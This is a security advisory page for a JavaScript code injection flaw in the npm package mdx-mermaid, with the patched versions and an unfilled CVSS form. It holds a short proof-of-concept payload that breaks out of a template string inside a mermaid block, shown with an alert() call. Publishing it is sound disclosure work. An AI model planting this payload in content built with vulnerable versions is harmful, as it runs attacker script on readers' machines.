GHSA-rvgm-35jw-q628

    Dashboard / Vulnerabilities / GHSA-rvgm-35jw-q628

    GHSA-rvgm-35jw-q628

    Published: 31 Aug 2022Last Modified: 8 Nov 2023

    Summary: Improper Control of Generation of Code ('Code Injection') in mdx-mermaid

    Details: ### Impact Arbitary javascript injection Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs ``` ` + (function () { // Put Javascript code here return '' }()) + ` ``` The block below shows a valid mermaid code block ````md ```mermaid graph TD; A-->B; A-->C; B-->D; C-->D; ``` ```` The same block but with the exploit added ````md ```mermaid ` + (function () { alert('vulnerable') return '' }()) + ` graph TD; A-->B; A-->C; B-->D; C-->D; ``` ```` ### Patches 1.3.0 and 2.0.0-rc2 ### Workarounds None known

    Affected packages

    Package

    Name: mdx-mermaid

    Purl: pkg:npm/mdx-mermaid

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -1.3.0

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-rvgm-35jw-q628 | CVE-DB